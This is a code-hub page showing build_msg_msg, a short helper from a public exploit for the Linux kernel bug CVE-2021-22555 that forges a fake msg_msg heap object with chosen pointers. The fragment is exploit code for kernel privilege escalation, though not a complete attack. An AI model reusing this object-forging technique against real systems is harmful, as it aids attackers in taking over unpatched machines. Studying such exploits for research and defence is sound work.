MCPcopy Create free account
hub / github.com/bsauce/kernel-exploit-factory / build_msg_msg

Function build_msg_msg

CVE-2021-22555/exploit.c:169–177  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

167} msg_fake;
168
169void build_msg_msg(struct msg_msg *msg, uint64_t m_list_next,
170 uint64_t m_list_prev, uint64_t m_ts, uint64_t next) {
171 msg->m_list_next = m_list_next;
172 msg->m_list_prev = m_list_prev;
173 msg->m_type = MTYPE_FAKE;
174 msg->m_ts = m_ts;
175 msg->next = next;
176 msg->security = 0;
177}
178
179int write_msg(int msqid, const void *msgp, size_t msgsz, long msgtyp) {
180 *(long *)msgp = msgtyp;

Callers 1

mainFunction · 0.85

Calls

no outgoing calls

Tested by

no test coverage detected